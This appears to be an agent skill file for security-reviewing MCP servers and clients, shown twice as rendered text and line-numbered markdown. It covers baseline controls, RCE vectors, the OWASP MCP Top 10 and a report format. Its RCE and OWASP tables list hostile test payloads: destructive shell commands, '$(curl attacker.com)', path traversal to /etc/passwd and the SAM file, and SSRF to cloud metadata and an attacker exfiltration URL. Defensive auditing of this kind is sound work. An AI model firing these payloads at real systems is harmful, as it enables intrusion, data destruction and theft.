MCP Security Baseline Review
Process
Step 1 — Classify the target
- Check MCP protocol version 2025-03-26 or later (current: 2025-11-25). Flag older versions as a finding but continue the review.
- Determine whether the target is a server or client.
- Classify transport as network-exposed or local-only using the transport reference below.
- Record transport, protocol version, and whether sessions exist.
Completion criterion: Target type, protocol status, and transport are identified.
Step 2 — Filter false positives
- Apply the False Positive Filters before opening findings.
- Keep docs only when they describe the repo's own server behavior, deployment, transport, or auth posture.
- For framework/SDK repositories, scope findings to the default configuration and public API surface.
Completion criterion: Remaining evidence is in-scope code, repo-owned docs, or public API behavior.
Step 3 — Check baseline controls
- For network-exposed servers, check MCP-01 through MCP-05.
- For local/STDIO servers, do not mark baseline controls PASS/FAIL; give best-practice notes and continue to RCE review.
- For clients, only review token/session handling explicitly visible in client code; do not apply the server baseline unless the user asks for client-side risk review.
Completion criterion: Each applicable control has a supported status.
Step 4 — Check RCE vectors
- Review all 7 RCE vectors.
- Mark each vector SAFE, AT RISK, or N/A.
- Prefer direct evidence over inference; the RCE Vectors table below enumerates the patterns to look for.
Completion criterion: Every relevant tool has an RCE result or explicit N/A.
Step 5 — Check OWASP MCP Top 10
- Evaluate all 10 OWASP risks below.
- If a control from Step 3 already fully covers an OWASP risk, reference that result rather than re-checking.
- For local/STDIO servers, mark network-dependent OWASP risks (MCP07, MCP09) as N/A.
- Mark each risk PASS, FAIL, or NEEDS INVESTIGATION.
Completion criterion: All 10 OWASP risks have outcomes supported by observable evidence or referenced from Step 3.
Step 6 — Report
- Use the Compliance Output Format below.
- Include file/line references in every justification.
- Separate code findings from manual follow-ups.
- If evidence is incomplete, use NEEDS INVESTIGATION and name the missing artifact.
Completion criterion: The report includes controls, RCE, optional OWASP, and actions.
Reference
Decision rules
- Network-exposed server: Apply all 5 controls, then run RCE and requested OWASP checks.
- Local/STDIO server: Give best-practice guidance only for the 5 controls; still run RCE because tool input can execute locally.
- Client: Review received-token handling and refusal to trust server-provided session IDs; do not force server controls unless asked.
- Reverse proxy or container exposure: If traffic can reach the server over a network, treat it as network-exposed even if inner binding is localhost.
- Unclear evidence: Do not guess. Mark NEEDS INVESTIGATION and say what must be verified manually.
- Ambiguous auth coverage: Auth middleware exists but it is unclear whether it covers MCP endpoints → mark NEEDS INVESTIGATION.
- Undeterminable transport: If transport cannot be established from code, flag for manual review and do not assume STDIO — defaulting to STDIO would wrongly skip the server controls.
Transport classification
Network-exposed (enforce all controls):
| Pattern |
Transport |
transport="http" or transport="sse" |
HTTP/SSE |
StreamableHttpServerTransport |
HTTP (TS/JS) |
SSEServerTransport |
SSE (TS/JS) |
WithHttpTransport() |
HTTP (C#) |
host="0.0.0.0" |
All-interfaces binding |
Express .listen(port) with MCP routes |
HTTP (default 0.0.0.0) |
EXPOSE in Dockerfile + MCP server |
Network-exposed |
Local-only (best practices only):
| Pattern |
Transport |
StdioServerTransport |
STDIO (TS/JS) |
WithStdioServerTransport() |
STDIO (C#) |
transport="stdio" |
STDIO |
mcp.run() with no args (Python FastMCP) |
STDIO default |
.vscode/mcp.json with command key and no URL |
STDIO child process |
Host binding gotchas:
| Binding |
Actual exposure |
host="0.0.0.0" |
🔴 Network-exposed |
host="127.0.0.1" or localhost |
🟢 Local-only |
| No explicit host (Express/Node) |
🔴 Defaults to 0.0.0.0 |
| No explicit host (Python FastMCP) |
🟡 Depends on transport — verify |
Docker ports: "8000:8000" |
🔴 Network-exposed even if the process binds 127.0.0.1 inside the container |
False Positive Filters
| FP pattern |
How to detect |
.github/skills/ templates |
Path contains .github/skills/ — skill template, not server code |
| Vendored SDK / OSS copies |
File defines class FastMCP, class McpServer, or path is in node_modules/, vendor/ |
| MCP client configs |
.vscode/mcp.json with inputs/servers but no server code |
| Documentation / tutorials |
.md, .rst with code fences unrelated to the repo's own server |
| Outbound-only auth libraries |
DefaultAzureCredential, service account JSON, or similar used only for outbound auth |
Docs describing the repo's own server behavior, transport, auth posture, or deployment are not false positives.
Controls Reference
MCP-01 — Identity isolation
Scope: Remote MCP servers
Condition
- Authenticate every inbound request with a trusted identity provider and enforce authorization at the server boundary; do not infer auth from session IDs, prior requests, or network location.
- Use a unique server-specific application identity and audience/resource identifier; outbound calls use independently scoped service credentials or on-behalf-of flow where required, never the inbound token.
- Unauthenticated discovery endpoints are allowed only for metadata-only OAuth/MCP bootstrapping:
/.well-known/oauth-protected-resource, /.well-known/oauth-authorization-server, /.well-known/openid-configuration.
What to check
- Token validation and authorization middleware run on every MCP route; authorization distinguishes tool invoke, read-only, and admin operations if present.
- Identity config shows a dedicated application/client/resource ID and audience; outbound clients acquire their own tokens and never copy inbound
Authorization.
- Discovery endpoints return metadata only and cannot execute tools or expose protected data.
Key pitfall: Shared application identities or forwarded caller tokens break identity isolation and create confused-deputy paths.
MCP-02 — Sessions
Scope: Remote MCP servers that support sessions
Applicability
- No session identifiers issued or used anywhere → mark N/A (per-request auth is still required; see MCP-01).
- Sessions managed by the transport/SDK (e.g., Streamable HTTP
Mcp-Session-Id) but generation/binding not visible in source → mark NEEDS INVESTIGATION, not FAIL.
- Session identifiers present in code → score PASS/FAIL against the conditions below.
Condition
- Authenticate and authorize every request; session state never substitutes for token validation.
- Session IDs are opaque correlation/continuity tokens only; they do not grant privileges, encode authorization, or bypass auth.
- Session IDs are CSPRNG-generated, unpredictable, bound to an authenticated context, and never embedded in URLs.
What to check
- Middleware validates tokens per request, not only when a session starts.
- Authorization logic never trusts a session ID alone; loss or reuse of a session ID must not grant access.
- Session creation uses random IDs (GUID v4/CSPRNG acceptable; sequential or time-based IDs are not).
Key pitfall: Treating a session ID as a bearer credential turns a correlation token into authentication.
MCP-03 — Rate limits
Scope: MCP servers and tools
Condition
- Enforce rate limits and abuse protection on tool discovery and tool invocation.
- Enforce limits at the MCP server runtime, not only at a gateway; partition by authenticated identity and by session where sessions exist.
- Apply stricter limits to mutation-capable and high-cost tools; when limits are exceeded, fail closed with HTTP 429 and Retry-After and do not execute the tool.
What to check
- Rate-limit middleware or equivalent is present on discovery and invocation endpoints in server code, not just in ingress or proxy config.
- Limits are keyed by identity and session, with tighter budgets for write/high-cost operations.
- Exceeded requests stop before backend action and return 429 with Retry-After.
Starting thresholds (tune to actual load, downstream limits, and cost):
| Tool type |
Per-identity |
Per-session |
Notes |
| Read-only / listing |
100/min |
200/min |
Lower if downstream APIs are sensitive |
| Mutation / write |
10/min |
20/min |
Stricter for state-changing ops |
| High-cost compute |
5/min |
10/min |
Cost-weighted; watch cloud spend |
| Tool discovery |
30/min |
60/min |
Prevents enumeration abuse |
Key pitfall: Gateway-only throttling or one flat bucket leaves bypasses and under-protects expensive tools.
MCP-04 — Schema validation
Scope: MCP servers exposing tools with structured arguments
Condition
- Validate all tool arguments against explicit schemas before execution.
- Schemas define types, required fields, enums, and bounds, and reject unspecified properties by default (
additionalProperties: false or equivalent).
- Validation runs server-side on every invocation; invalid input fails closed with a 400/MCP error and no backend action.
What to check
- Each tool descriptor has a schema covering types, required fields, enums, bounds, and property restrictions.
- Validation occurs at the server boundary on every call, not only in clients, gateways, or downstream services.
- Negative tests reject malformed input, extra properties, and bounds violations.
Key pitfall: Allowing extra properties or client-only validation creates hidden attack surface and scope creep.
MCP-05 — SDK-first
Scope: Remote MCP servers
Condition
- Build remote MCP servers on an official MCP SDK for your server's language:
- Tier 1 (fully supported): TypeScript (modelcontextprotocol/typescript-sdk), Python (modelcontextprotocol/python-sdk), C#/.NET (modelcontextprotocol/csharp-sdk), Go (modelcontextprotocol/go-sdk)
- Tier 2/3 (developing): Java (modelcontextprotocol/java-sdk), Kotlin (modelcontextprotocol/kotlin-sdk), Rust (modelcontextprotocol/rust-sdk), Swift (modelcontextprotocol/swift-sdk), PHP (modelcontextprotocol/php-sdk), Ruby (modelcontextprotocol/ruby-sdk)
- If not using an official SDK, mark MCP-05 as NEEDS INVESTIGATION.
- Keep the SDK current and patched, and verify which controls are automatic versus manual.
What to check
- Dependencies reference an official MCP SDK rather than a hand-rolled HTTP/SSE stack.
- If no SDK is used, the repo contains direct evidence for auth/authz, sessions, rate limits, and schema validation.
- Dependency pinning and update hygiene show the SDK is maintained.
Key pitfall: Hand-rolled servers often miss one "small" primitive—per-request auth, throttling, or validation—and the gaps compound.
RCE Vectors
| Vector |
Dangerous code |
Safe alternative |
Test payload |
CWE |
| Command injection |
exec("convert " + args.filename), os.system(f"process {user_input}"), Process.Start("cmd", "/c " + toolArg) |
execFile("convert", [args.filename]), subprocess.run(["process", user_input], shell=False) |
; rm -rf /, $(curl attacker.com), ` |
net user` must be rejected or treated literally |
| Dynamic code evaluation |
eval(args.expression), exec(tool_output), new Function(args.code)() |
Sandboxed parser, AST-based evaluation, or predefined allowlist |
__import__('os').system('whoami'), require('child_process').exec('id') must be rejected |
CWE-94, CWE-95 |
| Unsafe deserialization |
pickle.loads(user_data), yaml.load(input, Loader=yaml.UnsafeLoader), BinaryFormatter.Deserialize(stream) |
yaml.safe_load(), JSON.parse() plus schema validation; avoid binary formats for untrusted input |
Crafted serialized payloads must be rejected or safely handled |
CWE-502 |
| Path traversal |
fs.readFile(args.path) without validation, open(user_path, 'w') |
Canonicalize and enforce an allowlisted base directory before read/write/execute |
../../../../etc/passwd, C:\Windows\System32\config\SAM, ..\..\..\.env must be rejected |
CWE-22 |
| SSTI |
Template(user_input).render(), Handlebars.compile(args.template)({data}) |
Never use user input as template source; use predefined templates with parameters only |
{{7*7}}, ${7*7}, <%= 7*7 %> must not render 49 |
CWE-1336 |
| Dependency hijacking |
Unpinned deps such as "lodash": "^4.0.0"; internal package names resolvable from public registries |
Pin exact versions, keep lock files with integrity hashes, use trusted/scoped registries, verify signatures where available |
npm audit, pip audit, or dotnet list package --vulnerable; review for CVEs and suspicious packages |
CWE-829 |
| SSRF |
requests.get(user_param), fetch(user_input), HttpClient.GetAsync(user_input) |
Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending |
http://169.254.169.254/latest/meta-data/, http://localhost:8080/admin, http://attacker.com/?data=stolen must be rejected |
CWE-918 |
OWASP MCP Top 10
MCP01:2025 — Token Mismanagement & Secret Exposure
Test: Search for hardcoded secrets and token logging; verify secrets come from env vars or a secrets manager; verify short-lived/rotated tokens.
Pass: No hardcoded secrets, sensitive fields redacted, short-lived/rotated tokens. Fail: Hardcoded secrets, token logging, or long-lived tokens without rotation.
MCP02:2025 — Privilege Escalation via Scope Creep
Test: Review scopes/roles; confirm least privilege and per-request authorization; reject wildcard admin scopes unless justified; check for runtime capability expansion.
Pass: Least-privilege scopes, per-request authorization, no runtime capability expansion. Fail: Broad scopes, one-time auth only, or self-escalating tools.
MCP03:2025 — Tool Poisoning
Test: Check whether tool definitions are static and server-controlled, whether tools can alter metadata, and whether outputs contain LLM-parseable instructions.
Pass: Static server-controlled definitions and data-only outputs. Fail: External metadata sources or outputs with embedded instructions.
MCP04:2025 — Supply Chain Attacks & Dependency Tampering
Test: Check for lock files, exact pinning, suspicious postinstall scripts, dependency audit results, and trusted registries.
Pass: Pinned deps, committed lock file, no known vulnerabilities, no suspicious post-install scripts. Fail: Unpinned deps, no lock file, unpatched CVEs, or untrusted registries.
MCP05:2025 — Command Injection & Execution
Test: Search for shell execution APIs and string-built commands; trace whether tool input reaches shell execution; test ; ls, $(whoami), | cat /etc/passwd.
Pass: No shell execution from untrusted input, or only parameterized allowlisted execution. Fail: User input reaches shell commands, shell=True with formatted strings, or unsafe concatenation.
MCP06:2025 — Prompt Injection via Contextual Payloads
Test: Check whether tool output goes back to the LLM, whether external content is sanitized/truncated/sandboxed, and whether chained tool calls are guarded; test adversarial instruction-bearing output.
Pass: Tool outputs are data, untrusted content is sanitized/truncated/sandboxed, and chaining has guardrails. Fail: Raw external content returns to the model and there are no chaining limits.
MCP07:2025 — Insufficient Authentication & Authorization
Test: Send requests without auth and with expired/invalid tokens; verify per-tool authorization; confirm auth is enforced in the server, not only at the gateway.
Pass: All endpoints require valid auth, per-tool authorization exists, and enforcement happens server-side. Fail: Any unauthenticated access, missing per-tool auth, or gateway-only enforcement.
MCP08:2025 — Lack of Audit and Telemetry
Test: Invoke a tool and confirm logs capture caller identity, tool name, and timestamp; trigger an error and confirm useful context; verify centralized logging and alerting.
Pass: Tool invocations are logged with identity, logs are centralized, and alerts exist. Fail: Missing logs, no caller identity, local-only logging, or no alerting.
MCP09:2025 — Shadow MCP Servers
Test: Verify the server exists in service inventory; inspect for undocumented MCP endpoints or exposed non-standard ports; check dev/staging isolation; verify an owner and review trail.
Pass: All servers are inventoried, isolated appropriately, and owned. Fail: Undocumented servers, dev/test exposure into production networks, or no ownership.
MCP10:2025 — Context Injection & Over-Sharing
Test: Inspect tool responses for data minimization; check for PII or full objects when only subsets are needed; verify context isolation.
Pass: Minimal data is returned, sensitive fields are masked/excluded, and context is isolated. Fail: Full objects are returned unnecessarily, PII is exposed, or context is shared across users.
Compliance Output Format
In every summary table below, the Justification cell must cite specific file/line evidence for the status.
Control summary
| Control |
Name |
Status |
Justification |
| MCP-01 |
Auth & Identity isolation |
✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION / N/A |
… |
| MCP-02 |
Secure Session Management |
… |
… |
| MCP-03 |
Rate limiting & abuse protection |
… |
… |
| MCP-04 |
Input schema validation |
… |
… |
| MCP-05 |
Production SDK usage |
… |
… |
Use PASS only when the code clearly satisfies the control. Use FAIL when the violation is observable. Use NEEDS INVESTIGATION when compliance depends on deployment config, identity-provider state, logs, or other evidence not visible in source.
RCE summary
| Vector |
Status |
Justification |
| Command injection |
SAFE / AT RISK / N/A |
… |
| Dynamic code evaluation |
… |
… |
| Unsafe deserialization |
… |
… |
| Path traversal |
… |
… |
| SSTI |
… |
… |
| Dependency hijacking |
… |
… |
| SSRF |
… |
… |
OWASP summary
| Risk |
Status |
Justification |
| MCP01:2025 |
✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION |
… |
| MCP02:2025 |
… |
… |
| MCP03:2025 |
… |
… |
| MCP04:2025 |
… |
… |
| MCP05:2025 |
… |
… |
| MCP06:2025 |
… |
… |
| MCP07:2025 |
… |
… |
| MCP08:2025 |
… |
… |
| MCP09:2025 |
… |
… |
| MCP10:2025 |
… |
… |
Manual follow-ups
List every check that could not be fully resolved from source code, specifying what artifact or access is needed to verify it.
Exception process
- Document the gap: Identify the unmet control, the exact deviation, residual risk, and any compensating controls.
- Get explicit approval: Route the exception through security/release approval with an owner and an expiration or review date.
- Track and re-evaluate: Record the approved exception with compliance results and revisit it on expiry or whenever the server, tools, traffic profile, or exposure changes.
1---2name: mcp-security-baseline3description: Review MCP (Model Context Protocol) server and client source code against a security baseline — authentication, sessions, rate limiting, input-schema validation, official-SDK usage, RCE vectors, and the OWASP MCP Top 10 — producing a report with file/line evidence. Use this skill when: - Reviewing an MCP server implementation for security before release - Checking a server against the baseline controls (MCP-01 to MCP-05) and the OWASP MCP Top 10 - Auditing tools for RCE vectors (command/code injection, unsafe deserialization, path traversal, SSTI, dependency hijacking, SSRF) - Verifying auth, session, rate-limiting, and input-validation controls on a network-exposed server - Reviewing MCP client code that handles untrusted server responses and session IDs - Requests like "review this MCP server for security" or "is my MCP server implementation secure?"4---56# MCP Security Baseline Review78## Process910### Step 1 — Classify the target11- Check **MCP protocol version [2025-03-26](https://modelcontextprotocol.io/specification/2025-03-26) or later** (current: [2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)). Flag older versions as a finding but continue the review.12- Determine whether the target is a **server** or **client**.13- Classify transport as **network-exposed** or **local-only** using the transport reference below.14- Record transport, protocol version, and whether sessions exist.1516**Completion criterion:** Target type, protocol status, and transport are identified.1718### Step 2 — Filter false positives19- Apply the **False Positive Filters** before opening findings.20- Keep docs only when they describe the repo's own server behavior, deployment, transport, or auth posture.21- For framework/SDK repositories, scope findings to the **default configuration** and **public API surface**.2223**Completion criterion:** Remaining evidence is in-scope code, repo-owned docs, or public API behavior.2425### Step 3 — Check baseline controls26- For **network-exposed servers**, check **MCP-01** through **MCP-05**.27- For **local/STDIO servers**, do not mark baseline controls PASS/FAIL; give best-practice notes and continue to RCE review.28- For **clients**, only review token/session handling explicitly visible in client code; do not apply the server baseline unless the user asks for client-side risk review.2930**Completion criterion:** Each applicable control has a supported status.3132### Step 4 — Check RCE vectors33- Review all 7 RCE vectors.34- Mark each vector **SAFE**, **AT RISK**, or **N/A**.35- Prefer direct evidence over inference; the RCE Vectors table below enumerates the patterns to look for.3637**Completion criterion:** Every relevant tool has an RCE result or explicit N/A.3839### Step 5 — Check OWASP MCP Top 1040- Evaluate all 10 OWASP risks below.41- If a control from Step 3 already fully covers an OWASP risk, reference that result rather than re-checking.42- For local/STDIO servers, mark network-dependent OWASP risks (MCP07, MCP09) as N/A.43- Mark each risk PASS, FAIL, or NEEDS INVESTIGATION.4445**Completion criterion:** All 10 OWASP risks have outcomes supported by observable evidence or referenced from Step 3.4647### Step 6 — Report48- Use the **Compliance Output Format** below.49- Include file/line references in every justification.50- Separate code findings from manual follow-ups.51- If evidence is incomplete, use **NEEDS INVESTIGATION** and name the missing artifact.5253**Completion criterion:** The report includes controls, RCE, optional OWASP, and actions.5455## Reference5657### Decision rules58- **Network-exposed server:** Apply **all 5 controls**, then run RCE and requested OWASP checks.59- **Local/STDIO server:** Give **best-practice guidance only** for the 5 controls; still run RCE because tool input can execute locally.60- **Client:** Review received-token handling and refusal to trust server-provided session IDs; do not force server controls unless asked.61- **Reverse proxy or container exposure:** If traffic can reach the server over a network, treat it as **network-exposed** even if inner binding is localhost.62- **Unclear evidence:** Do not guess. Mark **NEEDS INVESTIGATION** and say what must be verified manually.63- **Ambiguous auth coverage:** Auth middleware exists but it is unclear whether it covers MCP endpoints → mark **NEEDS INVESTIGATION**.64- **Undeterminable transport:** If transport cannot be established from code, flag for manual review and do **not** assume STDIO — defaulting to STDIO would wrongly skip the server controls.6566### Transport classification6768**Network-exposed (enforce all controls):**6970| Pattern | Transport |71|---|---|72| `transport="http"` or `transport="sse"` | HTTP/SSE |73| `StreamableHttpServerTransport` | HTTP (TS/JS) |74| `SSEServerTransport` | SSE (TS/JS) |75| `WithHttpTransport()` | HTTP (C#) |76| `host="0.0.0.0"` | All-interfaces binding |77| Express `.listen(port)` with MCP routes | HTTP (default `0.0.0.0`) |78| `EXPOSE` in Dockerfile + MCP server | Network-exposed |7980**Local-only (best practices only):**8182| Pattern | Transport |83|---|---|84| `StdioServerTransport` | STDIO (TS/JS) |85| `WithStdioServerTransport()` | STDIO (C#) |86| `transport="stdio"` | STDIO |87| `mcp.run()` with no args (Python FastMCP) | STDIO default |88| `.vscode/mcp.json` with `command` key and no URL | STDIO child process |8990**Host binding gotchas:**9192| Binding | Actual exposure |93|---|---|94| `host="0.0.0.0"` | 🔴 Network-exposed |95| `host="127.0.0.1"` or `localhost` | 🟢 Local-only |96| No explicit host (Express/Node) | 🔴 Defaults to `0.0.0.0` |97| No explicit host (Python FastMCP) | 🟡 Depends on transport — verify |98| Docker `ports: "8000:8000"` | 🔴 Network-exposed even if the process binds `127.0.0.1` inside the container |99100### False Positive Filters101102| FP pattern | How to detect |103|---|---|104| `.github/skills/` templates | Path contains `.github/skills/` — skill template, not server code |105| Vendored SDK / OSS copies | File defines `class FastMCP`, `class McpServer`, or path is in `node_modules/`, `vendor/` |106| MCP client configs | `.vscode/mcp.json` with `inputs`/`servers` but no server code |107| Documentation / tutorials | `.md`, `.rst` with code fences unrelated to the repo's own server |108| Outbound-only auth libraries | `DefaultAzureCredential`, service account JSON, or similar used only for outbound auth |109110Docs describing the repo's **own** server behavior, transport, auth posture, or deployment are **not** false positives.111112## Controls Reference113114### MCP-01 — Identity isolation115**Scope:** Remote MCP servers116117**Condition**118- Authenticate every inbound request with a trusted identity provider and enforce authorization at the server boundary; do not infer auth from session IDs, prior requests, or network location.119- Use a **unique server-specific application identity** and audience/resource identifier; outbound calls use independently scoped service credentials or on-behalf-of flow where required, never the inbound token.120- Unauthenticated discovery endpoints are allowed only for metadata-only OAuth/MCP bootstrapping: `/.well-known/oauth-protected-resource`, `/.well-known/oauth-authorization-server`, `/.well-known/openid-configuration`.121122**What to check**123- Token validation and authorization middleware run on every MCP route; authorization distinguishes tool invoke, read-only, and admin operations if present.124- Identity config shows a dedicated application/client/resource ID and audience; outbound clients acquire their own tokens and never copy inbound `Authorization`.125- Discovery endpoints return metadata only and cannot execute tools or expose protected data.126127**Key pitfall:** Shared application identities or forwarded caller tokens break identity isolation and create confused-deputy paths.128129### MCP-02 — Sessions130**Scope:** Remote MCP servers that support sessions131132**Applicability**133- No session identifiers issued or used anywhere → mark **N/A** (per-request auth is still required; see MCP-01).134- Sessions managed by the transport/SDK (e.g., Streamable HTTP `Mcp-Session-Id`) but generation/binding not visible in source → mark **NEEDS INVESTIGATION**, not FAIL.135- Session identifiers present in code → score **PASS/FAIL** against the conditions below.136137**Condition**138- Authenticate and authorize **every** request; session state never substitutes for token validation.139- Session IDs are opaque correlation/continuity tokens only; they do not grant privileges, encode authorization, or bypass auth.140- Session IDs are CSPRNG-generated, unpredictable, bound to an authenticated context, and never embedded in URLs.141142**What to check**143- Middleware validates tokens per request, not only when a session starts.144- Authorization logic never trusts a session ID alone; loss or reuse of a session ID must not grant access.145- Session creation uses random IDs (GUID v4/CSPRNG acceptable; sequential or time-based IDs are not).146147**Key pitfall:** Treating a session ID as a bearer credential turns a correlation token into authentication.148149### MCP-03 — Rate limits150**Scope:** MCP servers and tools151152**Condition**153- Enforce rate limits and abuse protection on tool discovery and tool invocation.154- Enforce limits **at the MCP server runtime**, not only at a gateway; partition by authenticated identity and by session where sessions exist.155- Apply stricter limits to mutation-capable and high-cost tools; when limits are exceeded, fail closed with **HTTP 429** and **Retry-After** and do not execute the tool.156157**What to check**158- Rate-limit middleware or equivalent is present on discovery and invocation endpoints in server code, not just in ingress or proxy config.159- Limits are keyed by identity and session, with tighter budgets for write/high-cost operations.160- Exceeded requests stop before backend action and return 429 with Retry-After.161162**Starting thresholds** (tune to actual load, downstream limits, and cost):163164| Tool type | Per-identity | Per-session | Notes |165|---|---|---|---|166| Read-only / listing | 100/min | 200/min | Lower if downstream APIs are sensitive |167| Mutation / write | 10/min | 20/min | Stricter for state-changing ops |168| High-cost compute | 5/min | 10/min | Cost-weighted; watch cloud spend |169| Tool discovery | 30/min | 60/min | Prevents enumeration abuse |170171**Key pitfall:** Gateway-only throttling or one flat bucket leaves bypasses and under-protects expensive tools.172173### MCP-04 — Schema validation174**Scope:** MCP servers exposing tools with structured arguments175176**Condition**177- Validate **all** tool arguments against explicit schemas **before execution**.178- Schemas define types, required fields, enums, and bounds, and reject unspecified properties by default (`additionalProperties: false` or equivalent).179- Validation runs server-side on every invocation; invalid input fails closed with a 400/MCP error and no backend action.180181**What to check**182- Each tool descriptor has a schema covering types, required fields, enums, bounds, and property restrictions.183- Validation occurs at the server boundary on every call, not only in clients, gateways, or downstream services.184- Negative tests reject malformed input, extra properties, and bounds violations.185186**Key pitfall:** Allowing extra properties or client-only validation creates hidden attack surface and scope creep.187188### MCP-05 — SDK-first189**Scope:** Remote MCP servers190191**Condition**192- Build remote MCP servers on an **official MCP SDK** for your server's language:193 - **Tier 1 (fully supported):** TypeScript (modelcontextprotocol/typescript-sdk), Python (modelcontextprotocol/python-sdk), C#/.NET (modelcontextprotocol/csharp-sdk), Go (modelcontextprotocol/go-sdk)194 - **Tier 2/3 (developing):** Java (modelcontextprotocol/java-sdk), Kotlin (modelcontextprotocol/kotlin-sdk), Rust (modelcontextprotocol/rust-sdk), Swift (modelcontextprotocol/swift-sdk), PHP (modelcontextprotocol/php-sdk), Ruby (modelcontextprotocol/ruby-sdk)195- If not using an official SDK, mark MCP-05 as NEEDS INVESTIGATION.196- Keep the SDK current and patched, and verify which controls are automatic versus manual.197198**What to check**199- Dependencies reference an official MCP SDK rather than a hand-rolled HTTP/SSE stack.200- If no SDK is used, the repo contains direct evidence for auth/authz, sessions, rate limits, and schema validation.201- Dependency pinning and update hygiene show the SDK is maintained.202203**Key pitfall:** Hand-rolled servers often miss one "small" primitive—per-request auth, throttling, or validation—and the gaps compound.204205## RCE Vectors206207| Vector | Dangerous code | Safe alternative | Test payload | CWE |208|---|---|---|---|---|209| Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm -rf /`, `$(curl attacker.com)`, `| net user` must be rejected or treated literally | CWE-78 |210| Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist | `__import__('os').system('whoami')`, `require('child_process').exec('id')` must be rejected | CWE-94, CWE-95 |211| Unsafe deserialization | `pickle.loads(user_data)`, `yaml.load(input, Loader=yaml.UnsafeLoader)`, `BinaryFormatter.Deserialize(stream)` | `yaml.safe_load()`, `JSON.parse()` plus schema validation; avoid binary formats for untrusted input | Crafted serialized payloads must be rejected or safely handled | CWE-502 |212| Path traversal | `fs.readFile(args.path)` without validation, `open(user_path, 'w')` | Canonicalize and enforce an allowlisted base directory before read/write/execute | `../../../../etc/passwd`, `C:\Windows\System32\config\SAM`, `..\..\..\.env` must be rejected | CWE-22 |213| SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>` must not render `49` | CWE-1336 |214| Dependency hijacking | Unpinned deps such as `"lodash": "^4.0.0"`; internal package names resolvable from public registries | Pin exact versions, keep lock files with integrity hashes, use trusted/scoped registries, verify signatures where available | `npm audit`, `pip audit`, or `dotnet list package --vulnerable`; review for CVEs and suspicious packages | CWE-829 |215| SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending | `http://169.254.169.254/latest/meta-data/`, `http://localhost:8080/admin`, `http://attacker.com/?data=stolen` must be rejected | CWE-918 |216217## OWASP MCP Top 10218219**MCP01:2025 — Token Mismanagement & Secret Exposure**220Test: Search for hardcoded secrets and token logging; verify secrets come from env vars or a secrets manager; verify short-lived/rotated tokens.221Pass: No hardcoded secrets, sensitive fields redacted, short-lived/rotated tokens. Fail: Hardcoded secrets, token logging, or long-lived tokens without rotation.222223**MCP02:2025 — Privilege Escalation via Scope Creep**224Test: Review scopes/roles; confirm least privilege and per-request authorization; reject wildcard admin scopes unless justified; check for runtime capability expansion.225Pass: Least-privilege scopes, per-request authorization, no runtime capability expansion. Fail: Broad scopes, one-time auth only, or self-escalating tools.226227**MCP03:2025 — Tool Poisoning**228Test: Check whether tool definitions are static and server-controlled, whether tools can alter metadata, and whether outputs contain LLM-parseable instructions.229Pass: Static server-controlled definitions and data-only outputs. Fail: External metadata sources or outputs with embedded instructions.230231**MCP04:2025 — Supply Chain Attacks & Dependency Tampering**232Test: Check for lock files, exact pinning, suspicious `postinstall` scripts, dependency audit results, and trusted registries.233Pass: Pinned deps, committed lock file, no known vulnerabilities, no suspicious post-install scripts. Fail: Unpinned deps, no lock file, unpatched CVEs, or untrusted registries.234235**MCP05:2025 — Command Injection & Execution**236Test: Search for shell execution APIs and string-built commands; trace whether tool input reaches shell execution; test `; ls`, `$(whoami)`, `| cat /etc/passwd`.237Pass: No shell execution from untrusted input, or only parameterized allowlisted execution. Fail: User input reaches shell commands, `shell=True` with formatted strings, or unsafe concatenation.238239**MCP06:2025 — Prompt Injection via Contextual Payloads**240Test: Check whether tool output goes back to the LLM, whether external content is sanitized/truncated/sandboxed, and whether chained tool calls are guarded; test adversarial instruction-bearing output.241Pass: Tool outputs are data, untrusted content is sanitized/truncated/sandboxed, and chaining has guardrails. Fail: Raw external content returns to the model and there are no chaining limits.242243**MCP07:2025 — Insufficient Authentication & Authorization**244Test: Send requests without auth and with expired/invalid tokens; verify per-tool authorization; confirm auth is enforced in the server, not only at the gateway.245Pass: All endpoints require valid auth, per-tool authorization exists, and enforcement happens server-side. Fail: Any unauthenticated access, missing per-tool auth, or gateway-only enforcement.246247**MCP08:2025 — Lack of Audit and Telemetry**248Test: Invoke a tool and confirm logs capture caller identity, tool name, and timestamp; trigger an error and confirm useful context; verify centralized logging and alerting.249Pass: Tool invocations are logged with identity, logs are centralized, and alerts exist. Fail: Missing logs, no caller identity, local-only logging, or no alerting.250251**MCP09:2025 — Shadow MCP Servers**252Test: Verify the server exists in service inventory; inspect for undocumented MCP endpoints or exposed non-standard ports; check dev/staging isolation; verify an owner and review trail.253Pass: All servers are inventoried, isolated appropriately, and owned. Fail: Undocumented servers, dev/test exposure into production networks, or no ownership.254255**MCP10:2025 — Context Injection & Over-Sharing**256Test: Inspect tool responses for data minimization; check for PII or full objects when only subsets are needed; verify context isolation.257Pass: Minimal data is returned, sensitive fields are masked/excluded, and context is isolated. Fail: Full objects are returned unnecessarily, PII is exposed, or context is shared across users.258259## Compliance Output Format260261In every summary table below, the **Justification** cell must cite specific file/line evidence for the status.262263### Control summary264265| Control | Name | Status | Justification |266|---|---|---|---|267| MCP-01 | Auth & Identity isolation | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION / N/A | … |268| MCP-02 | Secure Session Management | … | … |269| MCP-03 | Rate limiting & abuse protection | … | … |270| MCP-04 | Input schema validation | … | … |271| MCP-05 | Production SDK usage | … | … |272273Use **PASS** only when the code clearly satisfies the control. Use **FAIL** when the violation is observable. Use **NEEDS INVESTIGATION** when compliance depends on deployment config, identity-provider state, logs, or other evidence not visible in source.274275### RCE summary276277| Vector | Status | Justification |278|---|---|---|279| Command injection | SAFE / AT RISK / N/A | … |280| Dynamic code evaluation | … | … |281| Unsafe deserialization | … | … 